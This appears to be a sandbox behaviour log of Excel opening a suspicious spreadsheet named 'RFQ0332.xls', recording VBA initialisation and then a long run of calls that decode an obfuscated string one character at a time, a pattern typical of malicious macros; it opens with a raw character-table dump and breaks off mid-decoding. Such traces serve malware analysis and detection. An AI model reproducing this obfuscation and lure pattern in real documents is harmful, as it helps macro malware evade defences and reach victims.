!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9ekÛ~°H<", lpUsedDefaultChar=0x0) returned 256
	[0076.075] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x65238708, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft Office\\Office12\\EXCEL.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\excel.exe")) returned 0x3a
	[0076.085] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x75fb0000
	[0076.085] GetProcAddress (hModule=0x75fb0000, lpProcName="IsProcessorFeaturePresent") returned 0x75fc5235
	[0076.085] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0
	[0076.094] DisableThreadLibraryCalls (hLibModule=0x65000000) returned 1
	[0076.094] GetVersion () returned 0x1db10106
	[0076.094] lstrcmpiW (lpString1="A", lpString2="B") returned -1
	[0076.094] GetUserDefaultLCID () returned 0x409
	[0076.094] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1
	[0076.094] GetSystemMetrics (nIndex=5) returned 1
	[0076.094] GetSystemMetrics (nIndex=6) returned 1
	[0076.094] GetSystemMetrics (nIndex=11) returned 32
	[0076.094] GetSystemMetrics (nIndex=12) returned 32
	[0076.094] GetSystemMetrics (nIndex=34) returned 132
	[0076.094] GetSystemMetrics (nIndex=35) returned 38
	[0076.094] GetSystemMetrics (nIndex=0) returned 1440
	[0076.094] GetSystemMetrics (nIndex=1) returned 900
	[0076.094] GetSystemMetrics (nIndex=32) returned 8
	[0076.094] GetSystemMetrics (nIndex=33) returned 8
	[0076.094] GetSystemMetrics (nIndex=4) returned 22
	[0076.094] GetSystemMetrics (nIndex=42) returned 0
	[0076.094] GetStockObject (i=15) returned 0x188000b
	[0076.094] GetStockObject (i=7) returned 0x1b00017
	[0076.094] GetStockObject (i=6) returned 0x1b00018
	[0076.094] GetStockObject (i=8) returned 0x1b00016
	[0076.094] GetStockObject (i=4) returned 0x1900011
	[0076.094] GetStockObject (i=2) returned 0x1900012
	[0076.094] GetStockObject (i=0) returned 0x1900010
	[0076.095] GetStockObject (i=5) returned 0x1900015
	[0076.095] GetStockObject (i=13) returned 0x18a002e
	[0076.095] GetDC (hWnd=0x0) returned 0xe01098e
	[0076.095] GetDeviceCaps (hdc=0xe01098e, index=14) returned 1
	[0076.095] GetDeviceCaps (hdc=0xe01098e, index=12) returned 32
	[0076.095] GetDeviceCaps (hdc=0xe01098e, index=88) returned 96
	[0076.095] GetDeviceCaps (hdc=0xe01098e, index=90) returned 96
	[0076.095] GetDeviceCaps (hdc=0xe01098e, index=38) returned 32409
	[0076.095] ReleaseDC (hWnd=0x0, hDC=0xe01098e) returned 1
	[0076.095] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x65235390 | out: ppMalloc=0x65235390*=0x75d266bc) returned 0x0
	[0076.096] GetModuleHandleA (lpModuleName=0x0) returned 0x2fa10000
	[0076.096] RegisterClassA (lpWndClass=0x3c4d74) returned 0x796c19b
	[0076.099] _MsoFGetComponentManager@4 () returned 0x1
	[0076.099] RegisterClipboardFormatA (lpszFormat="VBM_FHwndIsHctl") returned 0xc106
	[0076.099] lstrlenA (lpString="") returned 0
	[0076.099] lstrcpyA (in: lpString1=0x5c00bb0, lpString2="" | out: lpString1="") returned=""
	[0076.099] SetErrorMode (uMode=0x8001) returned 0x8001
	[0076.099] GetModuleFileNameA (in: hModule=0x65000000, lpFilename=0x3c4a30, nSize=0x104 | out: lpFilename="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL" (normalized: "c:\\progra~2\\common~1\\micros~1\\vba\\vba6\\vbe6.dll")) returned 0x2f
	[0076.099] lstrcpyA (in: lpString1=0x3c4b34, lpString2="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\" | out: lpString1="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\") returned="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\"
	[0076.099] GetACP () returned 0x4e4
	[0076.099] _MsoFAnsiCodePageSupportsLCID@8 () returned 0x1
	[0076.099] lstrlenA (lpString="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\1033\\VBE6INTL.DLL") returned 56
	[0076.099] CharToOemBuffA (in: lpszSrc="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\1033\\VBE6INTL.DLL", lpszDst=0x3c43d0, cchDstLength=0x39 | out: lpszDst="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\1033\\VBE6INTL.DLL") returned 1
	[0076.115] LoadLibraryA (lpLibFileName="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\1033\\VBE6INTL.DLL") returned 0x65300000
	[0076.121] GetSystemDefaultLCID () returned 0x409
	[0076.121] lstrcpyA (in: lpString1=0x65236888, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm"
	[0076.121] lstrcpyA (in: lpString1=0x65236780, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm"
	[0076.121] GetModuleFileNameA (in: hModule=0x65000000, lpFilename=0x3c4c54, nSize=0x104 | out: lpFilename="C:\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL" (normalized: "c:\\progra~2\\common~1\\micros~1\\vba\\vba6\\vbe6.dll")) returned 0x2f
	[0076.122] RegQueryValueA (in: hKey=0x6d2, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x3c4aec, lpcbData=0x3c4ae4 | out: lpData="\x0f}\x02\x01", lpcbData=0x3c4ae4) returned 0x2
	[0076.122] RegCloseKey (hKey=0x6d2) returned 0x0
	[0076.122] OaBuildVersion () returned 0x321396
	[0076.122] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0076.122] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0076.122] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630
	[0076.123] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a
	[0076.123] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7
	[0076.123] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7
	[0076.123] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf
	[0076.123] GlobalAddAtomA (lpString="VBDisabled") returned 0xc145
	[0076.123] GetVersionExA (in: lpVersionInformation=0x3c4c18*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3c4c18*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0076.124] GetModuleHandleA (lpModuleName="USER32") returned 0x771c0000
	[0076.124] GetProcAddress (hModule=0x771c0000, lpProcName="GetSystemMetrics") returned 0x771d7d2f
	[0076.125] GetProcAddress (hModule=0x771c0000, lpProcName="MonitorFromWindow") returned 0x771e3150
	[0076.125] GetProcAddress (hModule=0x771c0000, lpProcName="MonitorFromRect") returned 0x771fe7a0
	[0076.125] GetProcAddress (hModule=0x771c0000, lpProcName="MonitorFromPoint") returned 0x771e5281
	[0076.126] GetProcAddress (hModule=0x771c0000, lpProcName="EnumDisplayMonitors") returned 0x771e451a
	[0076.126] GetProcAddress (hModule=0x771c0000, lpProcName="GetMonitorInfoA") returned 0x771e4413
	[0076.127] GetProcAddress (hModule=0x771c0000, lpProcName="EnumDisplayDevicesA") returned 0x771e4572
	[0076.127] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x280
	[0076.129] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x75be0000
	[0076.129] GetProcAddress (hModule=0x75be0000, lpProcName="CoCreateInstanceEx") returned 0x75c29d4e
	[0076.129] GetProcAddress (hModule=0x75be0000, lpProcName="CLSIDFromProgIDEx") returned 0x75bf0782
	[0076.129] GetSystemMetrics (nIndex=42) returned 0
	[0076.129] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x65231178 | out: ppMalloc=0x65231178*=0x75d266bc) returned 0x0
	[0076.130] GetUserDefaultLCID () returned 0x409
	[0076.130] IsValidCodePage (CodePage=0x3a4) returned 1
	[0076.140] IsValidCodePage (CodePage=0x3b5) returned 1
	[0076.141] IsValidCodePage (CodePage=0x3b6) returned 1
	[0076.142] IsValidCodePage (CodePage=0x3a8) returned 1
	[0076.146] GetUserDefaultLangID () returned 0x409
	[0076.146] GetSystemDefaultLangID () returned 0x7a0409
	[0076.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="6.0\\Common", cchWideChar=-1, lpMultiByteStr=0x51b54a4, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.0\\Common", lpUsedDefaultChar=0x0) returned 11
	[0076.146] VirtualQuery (in: lpAddress=0x3c4d48, lpBuffer=0x3c4d2c, dwLength=0x1c | out: lpBuffer=0x3c4d2c*(BaseAddress=0x3c4000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0076.146] CreateCompatibleDC (hdc=0x0) returned 0x720108d4
	[0076.146] GetCurrentObject (hdc=0x720108d4, type=0x7) returned 0x185000f
	[0076.146] _MsoVbaInitSecurity@4 () returned 0x30a4da0
	[0076.150] GetCurrentThreadId () returned 0x280
	[0076.150] GetCurrentThreadId () returned 0x280
	[0076.152] lstrcpyA (in: lpString1=0x5c00dc8, lpString2="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls" | out: lpString1="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls") returned="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls"
	[0076.152] lstrcpyA (in: lpString1=0x5c00dc8, lpString2="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls" | out: lpString1="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls") returned="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls"
	[0076.152] lstrcpyA (in: lpString1=0x5c00dc8, lpString2="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls" | out: lpString1="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls") returned="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls"
	[0076.152] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.496] GetFullPathNameA (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls", nBufferLength=0x104, lpBuffer=0x3c7af0, lpFilePart=0x3c7a9c | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls", lpFilePart=0x3c7a9c*="share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls") returned 0x68
	[0076.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0076.751] DispCallFunc (pvInstance=0x828614, oVft=0x1c, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x3cda54) returned 0x0
	[0076.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x65001f64, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x3cd0c8 | out: lpThreadId=0x3cd0c8*=0x958) returned 0x708
	[0076.757] GetAsyncKeyState (vKey=27) returned 0
	[0076.764] GetAsyncKeyState (vKey=27) returned 0
	[0076.766] VarBstrCat (in: bstrLeft="&H", bstrRight="5E", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a34, cchWideChar=1 | out: lpWideCharStr="^") returned 1
	[0076.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^z\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a4c, cchWideChar=1 | out: lpWideCharStr="A") returned 1
	[0076.767] VarBstrCat (in: bstrLeft=0x0, bstrRight="A", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.767] VarBstrCat (in: bstrLeft="&H", bstrRight="5E", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a34, cchWideChar=1 | out: lpWideCharStr="^") returned 1
	[0076.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^z\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a4c, cchWideChar=1 | out: lpWideCharStr="A") returned 1
	[0076.767] VarBstrCat (in: bstrLeft="A", bstrRight="A", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.767] VarBstrCat (in: bstrLeft="&H", bstrRight="67", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a1c, cchWideChar=1 | out: lpWideCharStr="g") returned 1
	[0076.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gz\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a34, cchWideChar=1 | out: lpWideCharStr="J") returned 1
	[0076.767] VarBstrCat (in: bstrLeft="AA", bstrRight="J", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.768] VarBstrCat (in: bstrLeft="&H", bstrRight="66", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0076.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="f0\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a1c, cchWideChar=1 | out: lpWideCharStr="I") returned 1
	[0076.768] VarBstrCat (in: bstrLeft="AAJ", bstrRight="I", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.768] VarBstrCat (in: bstrLeft="&H", bstrRight="68", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a64, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0076.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hz\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0076.768] VarBstrCat (in: bstrLeft="AAJI", bstrRight="K", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.768] VarBstrCat (in: bstrLeft="&H", bstrRight="75", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147ac4, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0076.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uz\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a64, cchWideChar=1 | out: lpWideCharStr="X") returned 1
	[0076.768] VarBstrCat (in: bstrLeft="AAJIK", bstrRight="X", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.768] VarBstrCat (in: bstrLeft="&H", bstrRight="69", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a4c, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0076.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iz\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147ac4, cchWideChar=1 | out: lpWideCharStr="L") returned 1
	[0076.768] VarBstrCat (in: bstrLeft="AAJIKX", bstrRight="L", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.769] VarBstrCat (in: bstrLeft="&H", bstrRight="6F", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a34, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0076.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oz\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a4c, cchWideChar=1 | out: lpWideCharStr="R") returned 1
	[0076.769] VarBstrCat (in: bstrLeft="AAJIKXL", bstrRight="R", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.769] VarBstrCat (in: bstrLeft="&H", bstrRight="7C", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a1c, cchWideChar=1 | out: lpWideCharStr="|") returned 1
	[0076.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="|", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="|z\x14\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a34, cchWideChar=1 | out: lpWideCharStr="_") returned 1
	[0076.769] VarBstrCat (in: bstrLeft="AAJIKXLR", bstrRight="_", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.769] VarBstrCat (in: bstrLeft="&H", bstrRight="77", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0076.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="w0\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5147a1c, cchWideChar=1 | out: lpWideCharStr="Z") returned 1
	[0076.769] VarBstrCat (in: bstrLeft="AAJIKXLR_", bstrRight="Z", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.769] VarBstrCat (in: bstrLeft="&H", bstrRight="61", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0076.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a0\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="D") returned 1
	[0076.769] VarBstrCat (in: bstrLeft="AAJIKXLR_Z", bstrRight="D", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.770] VarBstrCat (in: bstrLeft="&H", bstrRight="62", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x518302c, cchWideChar=1 | out: lpWideCharStr="b") returned 1
	[0076.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b0\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="E") returned 1
	[0076.770] VarBstrCat (in: bstrLeft="AAJIKXLR_ZD", bstrRight="E", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.770] VarBstrCat (in: bstrLeft="&H", bstrRight="67", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="g") returned 1
	[0076.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="g0\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x518302c, cchWideChar=1 | out: lpWideCharStr="J") returned 1
	[0076.770] VarBstrCat (in: bstrLeft="AAJIKXLR_ZDE", bstrRight="J", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.770] VarBstrCat (in: bstrLeft="&H", bstrRight="75", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="u") returned 1
